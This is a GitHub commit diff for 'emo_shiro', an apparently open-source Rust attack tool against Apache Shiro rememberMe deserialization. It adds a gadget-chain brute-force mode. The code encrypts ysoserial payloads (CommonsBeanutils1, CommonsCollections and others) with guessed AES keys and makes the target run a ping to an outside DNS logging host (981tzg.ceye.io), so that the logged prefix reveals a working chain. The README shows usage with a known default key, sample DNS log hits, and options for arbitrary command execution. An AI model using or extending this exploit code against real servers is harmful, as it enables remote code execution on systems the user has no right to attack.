Skip to content

Commit b284d57

Browse files
committed
爆破利用链
1 parent 435ccfd commit b284d57

File tree

6 files changed

+107
-20
lines changed

6 files changed

+107
-20
lines changed

CHANGELOG.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,4 +14,4 @@
1414

1515
### Fixes
1616

17-
- 添加内置payload
17+
- 添加内置payload,添加爆破利用链

README.md

Lines changed: 30 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
```bash
44
~ ./emo_shiro --help
5-
Usage: emo_shiro [--key <key>] [-m <mode>] [-t <target>] [-s <ser>] [--file <file>] [--keys <keys>] [--csv <csv>] [--proxy <proxy>] [--timeout <timeout>] [--thread <thread>] [--exploit] [--dns <dns>] [-p <payload>] [-c <command>] [--echo-name <echo-name>] [--command-name <command-name>] [-l]
5+
Usage: emo_shiro [--key <key>] [-m <mode>] [-t <target>] [-s <ser>] [--file <file>] [--keys <keys>] [--csv <csv>] [--proxy <proxy>] [--timeout <timeout>] [--thread <thread>] [--chain] [--exploit] [--dns <dns>] [-p <payload>] [-c <command>] [--echo-name <echo-name>] [--command-name <command-name>] [-l]
66

77
emo_shiro
88

@@ -18,6 +18,7 @@ Options:
1818
(ex:[http(s)|socks5(h)]://host:port)
1919
--timeout set request timeout
2020
--thread number of concurrent threads
21+
--chain enum chain mode
2122
--exploit exploit mode
2223
--dns dns identifier, default: 981tzg.ceye.io
2324
-p, --payload select a payload
@@ -43,6 +44,7 @@ Options:
4344
- `--dns`验证的DNS服务器,请求为目标的`主机名_端口.你的DNS记录服务器`,默认为`981tzg.ceye.io`
4445
- `-p`使用内置payload,配合`-c`或者`--dns``--echo-name``--command-name`,tomcat回显后面再更新
4546
- `-l`列出内置payload
47+
- `--chain`枚举利用链,结果查看DNS记录服务,前缀就是利用链名称。
4648
4749
## 使用ysoserial文件
4850
@@ -68,6 +70,33 @@ Options:
6870

6971
```
7072
73+
## 爆破利用链
74+
75+
- 主要利用ping命令带上利用链名称拼接到DNS前缀,如果能在DNS记录中看到说明可以使用该利用链
76+
77+
```bash
78+
➜ emo_shiro git:(main) ✗ cargo run -- -t http://127.0.0.1:8080 --exploit --dns 981tzg.ceye.io --chain
79+
+-------------------------------------------------------------------------+--------+--------+------+--------------------------+
80+
| url | method | verify | mode | key |
81+
+=========================================================================+========+========+======+==========================+
82+
| http://127.0.0.1:8080/login;jsessionid=E01994D45911DE55FCE6606CFFF48AC7 | GET | true | CBC | kPH+bIxk5D2deZiIxcaaaA== |
83+
+-------------------------------------------------------------------------+--------+--------+------+--------------------------+
84+
85+
```
86+
87+
- 查看DNS记录得到可用利用链,说明`bs1`,`cck3`,`cc5`,`cc7`,`cck1``cc6`利用链可用
88+
89+
```csv
90+
969227011 bs1.127.0.0.1.8080.981tzg.ceye.io 127.0.0.1 2022-12-22 13:48:20
91+
969226980 bs1.127.0.0.1.8080.981tzg.ceye.io 127.0.0.1 2022-12-22 13:48:19
92+
969226976 ccK3.127.0.0.1.8080.981tZG.cEYE.Io 127.0.0.1 2022-12-22 13:48:19
93+
969226947 cc5.127.0.0.1.8080.981tzg.ceye.io 127.0.0.1 2022-12-22 13:48:18
94+
969226945 cc7.127.0.0.1.8080.981tzg.ceye.io 127.0.0.1 2022-12-22 13:48:18
95+
969226936 cCK3.127.0.0.1.8080.981tzg.ceyE.iO 127.0.0.1 2022-12-22 13:48:18
96+
969226932 cck1.127.0.0.1.8080.981tzg.ceye.io 127.0.0.1 2022-12-22 13:48:18
97+
969226818 cc6.127.0.0.1.8080.981tzg.ceye.io 127.0.0.1 2022-12-22 13:48:14
98+
```
99+
71100
## 使用内置ysoserial
72101
73102
- payload来自:(ysoserial_rs)[https://github.com/emo-cat/ysoserial_rs]

src/cli.rs

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33,6 +33,9 @@ pub struct EmoArgs {
3333
/// number of concurrent threads
3434
#[argh(option, default = "default_thread()")]
3535
pub thread: u32,
36+
/// enum chain mode
37+
#[argh(switch)]
38+
pub chain: bool,
3639
/// exploit mode
3740
#[argh(switch)]
3841
pub exploit: bool,

src/lib.rs

Lines changed: 26 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
pub mod cli;
22
pub mod yso;
3+
34
use anyhow::anyhow;
45
use cli::EmoArgs;
56
use encoding_rs::{Encoding, UTF_8};
@@ -30,6 +31,12 @@ pub struct RawData {
3031
}
3132

3233
pub static EMO_ARGS: Lazy<EmoArgs> = Lazy::new(|| -> EmoArgs { EmoArgs::new() });
34+
static CIPHERS: Lazy<HashMap<&str, Cipher>> = Lazy::new(|| -> HashMap<&str, Cipher> {
35+
HashMap::from([
36+
("CBC", Cipher::aes_128_cbc()),
37+
("GCM", Cipher::aes_128_gcm()),
38+
])
39+
});
3340

3441
/// 发送请求,并带上apache-shiro的请求头
3542
async fn send_requests(
@@ -188,11 +195,7 @@ impl ShiroVerify {
188195
}
189196
let target = self.target.as_ref().unwrap();
190197
let shiro_spc = yso::get_payload("shiro_spc");
191-
let ciphers = HashMap::from([
192-
("CBC", Cipher::aes_128_cbc()),
193-
("GCM", Cipher::aes_128_gcm()),
194-
]);
195-
for (mode, cipher) in ciphers {
198+
for (mode, cipher) in CIPHERS.clone().into_iter() {
196199
if let Some(m) = &EMO_ARGS.mode {
197200
if mode != m {
198201
continue;
@@ -227,19 +230,31 @@ impl ShiroVerify {
227230
if self.mode.is_empty() || !self.verify {
228231
return;
229232
}
230-
let ciphers = HashMap::from([
231-
("CBC", Cipher::aes_128_cbc()),
232-
("GCM", Cipher::aes_128_gcm()),
233-
]);
234233
let key = self.key.clone().unwrap_or_default();
235-
if let Some(cipher) = ciphers.get(self.mode.as_str()) {
234+
if let Some(cipher) = CIPHERS.get(self.mode.as_str()) {
236235
if let Some(target) = self.target.clone() {
237236
let headers = ser_to_header(&target, key, cipher);
238237
let _ = send_requests(&target, self.method.clone(), headers).await;
239238
}
240239
}
241240
}
241+
pub async fn enum_chain(&mut self) {
242+
if self.mode.is_empty() || !self.verify {
243+
return;
244+
}
245+
let key = self.key.clone().unwrap_or_default();
246+
if let Some(cipher) = CIPHERS.get(self.mode.as_str()) {
247+
if let Some(target) = self.target.clone() {
248+
for (p, _) in yso::COMMAND_PAYLOAD_MAP.clone().into_iter() {
249+
let headers =
250+
make_remember_me(&key, *cipher, &yso::get_enum_chain_payload(p, &target));
251+
let _ = send_requests(&target, self.method.clone(), headers).await;
252+
}
253+
}
254+
}
255+
}
242256
}
257+
243258
fn ser_to_header(target: &Url, key: String, cipher: &Cipher) -> HeaderMap {
244259
let default_header = HeaderMap::new();
245260
if let Some(path) = &EMO_ARGS.ser {
@@ -267,6 +282,7 @@ fn ser_to_header(target: &Url, key: String, cipher: &Cipher) -> HeaderMap {
267282

268283
make_remember_me(&key, *cipher, &ysoserial_rs::get_url_dns(&u))
269284
}
285+
270286
pub fn print_results_and_save(results: Vec<ShiroVerify>) {
271287
let mut table = Table::new();
272288
let headers = vec![

src/main.rs

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,16 +12,24 @@ async fn main() {
1212
Err(e) => println!("{}", e),
1313
}
1414
}
15+
1516
async fn burst(mut sv: ShiroVerify) -> ShiroVerify {
1617
sv.burst_key().await;
1718
sv
1819
}
20+
1921
async fn exploit(mut sv: ShiroVerify) -> ShiroVerify {
22+
// 爆破利用链
23+
if EMO_ARGS.chain {
24+
sv.enum_chain().await;
25+
}
26+
// 利用
2027
if EMO_ARGS.exploit {
2128
sv.exploit().await;
2229
}
2330
sv
2431
}
32+
2533
async fn start() -> Result<(), Error> {
2634
if EMO_ARGS.list {
2735
yso::list();

src/yso.rs

Lines changed: 39 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,15 @@
11
use crate::EMO_ARGS;
22
use once_cell::sync::Lazy;
3+
use reqwest::Url;
34
use std::collections::HashMap;
45
use std::process;
56
use ysoserial_rs::*;
7+
68
type NoArgs = fn() -> Vec<u8>;
79
type OneArgs = fn(&str) -> Vec<u8>;
810
type TwoArgs = fn(&str, &str) -> Vec<u8>;
9-
static COMMAND_PAYLOAD_MAP: Lazy<HashMap<&str, OneArgs>> =
11+
12+
pub static COMMAND_PAYLOAD_MAP: Lazy<HashMap<&str, OneArgs>> =
1013
Lazy::new(|| -> HashMap<&str, OneArgs> {
1114
HashMap::from_iter([
1215
("bs1", get_commons_beanutils1 as OneArgs),
@@ -39,13 +42,14 @@ static COMMAND_PAYLOAD_MAP: Lazy<HashMap<&str, OneArgs>> =
3942
("vaadin1", get_vaadin1),
4043
])
4144
});
42-
static URL_PAYLOAD_MAP: Lazy<HashMap<&str, OneArgs>> = Lazy::new(|| -> HashMap<&str, OneArgs> {
43-
HashMap::from_iter([
44-
("url_dns", get_url_dns as OneArgs),
45-
("c3p0", get_c3p0 as OneArgs),
46-
])
47-
});
48-
static HEADER_PAYLOAD_MAP: Lazy<HashMap<&str, TwoArgs>> =
45+
pub static URL_PAYLOAD_MAP: Lazy<HashMap<&str, OneArgs>> =
46+
Lazy::new(|| -> HashMap<&str, OneArgs> {
47+
HashMap::from_iter([
48+
("url_dns", get_url_dns as OneArgs),
49+
("c3p0", get_c3p0 as OneArgs),
50+
])
51+
});
52+
pub static HEADER_PAYLOAD_MAP: Lazy<HashMap<&str, TwoArgs>> =
4953
Lazy::new(|| -> HashMap<&str, TwoArgs> {
5054
HashMap::from_iter([
5155
("cck1_tomcat_echo", get_cck1_tomcat_echo as TwoArgs),
@@ -55,6 +59,7 @@ static HEADER_PAYLOAD_MAP: Lazy<HashMap<&str, TwoArgs>> =
5559
static SHIRO_PAYLOAD_MAP: Lazy<HashMap<&str, NoArgs>> = Lazy::new(|| -> HashMap<&str, NoArgs> {
5660
HashMap::from_iter([("shiro_spc", get_shiro_simple_principal_collection as NoArgs)])
5761
});
62+
5863
pub fn list() {
5964
println!("Payload List:\n------------");
6065
let mut all_payload = COMMAND_PAYLOAD_MAP
@@ -85,6 +90,7 @@ pub fn list() {
8590
}
8691
process::exit(0);
8792
}
93+
8894
pub fn get_payload(p: &str) -> Vec<u8> {
8995
if let Some(command_func) = COMMAND_PAYLOAD_MAP.get(p as &str) {
9096
if let Some(cmd) = &EMO_ARGS.command {
@@ -111,3 +117,28 @@ pub fn get_payload(p: &str) -> Vec<u8> {
111117
process::exit(0);
112118
}
113119
}
120+
121+
pub fn get_enum_chain_payload(p: &str, target: &Url) -> Vec<u8> {
122+
let dns = format!(
123+
"{}.{}.{}.{}",
124+
p,
125+
target.host_str().unwrap_or_default(),
126+
target.port_or_known_default().unwrap_or_default(),
127+
EMO_ARGS.dns
128+
);
129+
let ping = format!("ping -n 2 -w 2 {}", dns);
130+
if let Some(command_func) = COMMAND_PAYLOAD_MAP.get(p as &str) {
131+
command_func(&ping)
132+
} else if let Some(url_func) = URL_PAYLOAD_MAP.get(p as &str) {
133+
return url_func(&format!("http://{}", &dns));
134+
} else if let Some(header_func) = HEADER_PAYLOAD_MAP.get(p as &str) {
135+
if let (Some(echo_name), Some(command_name)) = (&EMO_ARGS.echo_name, &EMO_ARGS.command_name)
136+
{
137+
header_func(echo_name, command_name)
138+
} else {
139+
Vec::new()
140+
}
141+
} else {
142+
Vec::new()
143+
}
144+
}

0 commit comments

Comments
 (0)